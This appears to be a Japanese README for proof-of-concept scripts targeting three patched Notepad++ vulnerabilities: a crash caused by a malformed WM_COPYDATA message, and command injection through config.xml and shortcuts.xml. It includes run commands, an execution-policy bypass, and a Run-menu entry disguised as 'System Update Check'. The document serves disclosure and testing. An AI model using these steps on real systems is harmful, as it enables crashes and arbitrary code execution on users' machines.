
Notepad++ <= 8.9.6 における3つの脆弱性(v8.9.6.1(2026-05-26)で修正済み)の概念実証スクリプト: CVE-2026-48770 / CVE-2026-48778 / CVE-2026-48800
CVE-2026-48770 / CVE-2026-48778 / CVE-2026-48800
Notepad++ <= 8.9.6 における 3 つの脆弱性の概念実証スクリプト。v8.9.6.1(2026-05-26)で修正済み。

| CVE | タイプ | CVSS | 影響 |
|---|---|---|---|
| CVE-2026-48770 | WM_COPYDATA 経由の範囲外読み取り | 5.0 | DoS / クラッシュ |
| CVE-2026-48778 | config.xml 経由の OS コマンドインジェクション | 7.8 | リモートコード実行 |
| CVE-2026-48800 | shortcuts.xml 経由の OS コマンドインジェクション | 7.8 | リモートコード実行 |
.py スクリプト用).ps1 用).
├── README.md
├── poc_CVE-2026-48770.py # OOB 読み取りクラッシュ (ctypes)
├── poc_CVE-2026-48778.py # config.xml 経由の RCE
├── poc_CVE-2026-48800.py # shortcuts.xml 経由の RCE
└── payloads/
├── config.xml # 差し替え用ペイロード (CVE-2026-48778)
├── shortcuts.xml # 差し替え用ペイロード (CVE-2026-48800)
└── poc_CVE-2026-48770.ps1 # OOB 読み取りクラッシュ (PowerShell)
同じ Windows セッション内のローカルプロセスが、NUL ターミネータなしで細工された WM_COPYDATA メッセージ(dwData=3)を送信します。ハンドラがバッファ境界を越えて読み取るため、アクセス違反(0xc0000005)が発生し、Notepad++ がクラッシュします。
トリガー: Notepad++ が開かれている必要があります。
PowerShell:
# payloads\ から
powershell -ExecutionPolicy Bypass -File poc_CVE-2026-48770.ps1
Python:
python poc_CVE-2026-48770.py
期待される出力:
[+] Found Notepad++ HWND: 0x000A08B4
[*] Sending malformed WM_COPYDATA (dwData=3, cbData=8192, no NUL terminator)...
[+] SendMessageTimeout returned 0 - Notepad++ likely crashed (OOB read -> 0xc0000005)
Notepad++ のウィンドウが消えます。Windows エラー報告 (WER) が起動することがあります。
%APPDATA%\Notepad++\config.xml は起動時に読み取られます。<GUIConfig name="commandLineInterpreter"> の値は検証なしで ShellExecute() に直接渡されます。これを任意の実行ファイルに置き換えることで、ユーザーが ファイル → 含むフォルダを開く → cmd をクリックすると RCE が達成されます。
# 注入(元のファイルは自動的にバックアップされます)
python poc_CVE-2026-48778.py --mode direct --payload calc.exe
# トリガー: Notepad++ を開く -> ファイル -> 含むフォルダを開く -> cmd
# cmd.exe の代わりに calc.exe が起動します
# 復元
python poc_CVE-2026-48778.py --mode direct --restore
copy payloads\config.xml %APPDATA%\Notepad++\config.xml
# Notepad++ を開く -> ファイル -> 含むフォルダを開く -> cmd
python poc_CVE-2026-48778.py --mode settingsdir --payload calc.exe
# notepad++.exe -settingsDir= 起動コマンドを出力
# トリガー: ファイル -> 含むフォルダを開く -> cmd
%APPDATA%\Notepad++\shortcuts.xml は起動時に読み取られます。<UserDefinedCommands> 内の <Command> エントリは 実行 メニューに追加され、検証なしで ShellExecute() に直接渡されます。攻撃者が制御するエントリはクリック時に実行されます。
# 注入(元のファイルは自動的にバックアップされます)
python poc_CVE-2026-48800.py --mode direct --payload calc.exe --name "System Update Check"
# トリガー: Notepad++ を閉じて再度開く -> 実行メニュー -> "System Update Check"
# calc.exe が起動します
# 復元
python poc_CVE-2026-48800.py --mode direct --restore
copy payloads\shortcuts.xml %APPDATA%\Notepad++\shortcuts.xml
# Notepad++ を再起動 -> 実行メニュー -> "System Update Check"
python poc_CVE-2026-48800.py --mode settingsdir --payload calc.exe
# notepad++.exe -settingsDir= 起動コマンドを出力
# トリガー: 実行メニュー -> "System Update Check"
Notepad++ を v8.9.6.1 以降に更新してください。
ダウンロード: https://notepad-plus-plus.org/downloads/
| CVE | アドバイザリ |
|---|---|
| CVE-2026-48770 | GHSA-r39g-3mcw-xcg2 |
| CVE-2026-48778 | GHSA-7hm3-wp5q-ccv9 |
| CVE-2026-48800 | GHSA-3x3f-3j39-pj3v |
研究および許可されたテスト目的のみに使用してください。